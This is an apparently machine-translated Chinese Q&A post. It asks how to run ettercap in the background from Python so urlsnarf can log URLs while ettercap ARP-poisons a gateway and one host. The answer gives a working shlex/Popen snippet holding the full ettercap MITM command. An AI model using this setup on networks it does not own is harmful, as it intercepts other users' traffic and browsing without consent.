我正在使用python中的脚本,首先我将ettercap设置为ARP中毒,然后启动urlsnarf来记录URL。我想首先启动ettercap,然后在中毒时启动urlsnarf。问题是这些作业必须同时运行,然后urlsnarf
显示输出。所以我认为这样会很好如果我可以在后台运行ettercap而无需等待退出然后运行urlsnarf。我试过命令nohup,但当时urlsnarf必须显示脚本刚刚结束的url。我跑:
subprocess.call(["ettercap",
"-M ARP /192.168.1.254/ /192.168.1.66/ -p -T -q -i wlan0"])
但我明白了:
ettercap NG-0.7.4.2版权所有2001-2005 ALoR& NAGA
MITM方法'ARP /192.168.1.254/ /192.168.1.66/ -p -T -q -i wlan0'不受支持......
这意味着参数不能正确传递
答案 0 :(得分:1)
您可以使用Python标准库中的子进程模块将ettercap作为一个单独的进程生成,该进程将与父进程同时运行。使用子进程中的Popen类,您将能够生成您的ettercap进程运行其他处理,然后在完成后终止ettercap进程。更多信息:Python Subprocess Package
import shlex, subprocess
args = shlex.split("ettercap -M ARP /192.168.1.254/ /192.168.1.66/ -p -T -q -i wlan0")
ettercap = subprocess.Popen(args)
# program continues without waiting for ettercap process to finish.